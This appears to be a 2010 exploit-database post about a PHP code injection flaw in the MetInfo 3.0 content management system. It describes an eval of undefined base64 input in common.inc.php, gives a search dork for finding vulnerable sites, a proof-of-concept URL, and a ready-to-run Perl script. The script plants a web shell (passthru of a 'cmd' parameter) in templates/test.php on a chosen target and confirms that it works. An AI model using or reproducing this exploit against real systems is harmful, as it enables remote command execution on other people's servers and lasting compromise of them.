Home / os / win7

[webapps / 0day] - MetInfo 3.0 PHP Code Injection Vulnerabil

Posted on 31 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MetInfo 3.0 PHP Code Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MetInfo 3.0 PHP Code Injection Vulnerability by Beach in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================ MetInfo 3.0 PHP Code Injection Vulnerability ============================================ ##################################################################################################### #Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability #Date:2010-10-31 #Author£ºlinux520.com #Team£ºhttp://www.linux520.com/ #Vendor£ºhttp://www.metinfo.cn/ #Dork£º&quot;Powered by MetInfo 3.0 &quot; # Google: 400,000 + results #Price£º free #Language£ºPHP #Greetz£ºCCAV ##################################################################################################### +Description£º at 67 line of ROOTPATH/include/common.inc.php: eval(base64_decode($allclass[0])); $allclass[0] is not defined £¬so we can inject eval php code ##################################################################################################### +POC£ºhttp://victim.com/include/common.inc.php?allclass[0]=[base64_encode(eval php code)] ##################################################################################################### +Exploit: #!/usr/bin/env perl use LWP::UserAgent; print &quot;################################################################ &quot;; print &quot;# MetInfo 3.0 c0de inj3cti0n 3xplo!t # &quot;; print &quot;# by:linux520.com # &quot;; print &quot;################################################################ &quot;; die &quot;Usage: $0 &lt;target site&gt; Ex:$0 victim.com &quot; unless($ARGV[0]); my $victim = $ARGV[0]; $user_agent = new LWP::UserAgent; $vul_request = new HTTP::Request(&#039;GET&#039;,&quot;http://$victim/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=&quot;); # fputs(fopen(&#039;../templates/test.php&#039;,&#039;w+&#039;),&#039;&lt;?php passthru($_GET[cmd]);?&gt;&#039;); $user_agent-&gt;request($vul_request); $response = $user_agent-&gt;request(new HTTP::Request(&#039;GET&#039;,&quot;http://$victim/templates/test.php&quot;)); if($response-&gt;is_success) { print &quot;code injection successful ! plz look at http://$victim/templates/test.php?cmd=id&quot;; } else { print &quot;could not connect to $victim&quot;; } ##################################################################################################### # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-31]</pre></body></html>

 

TOP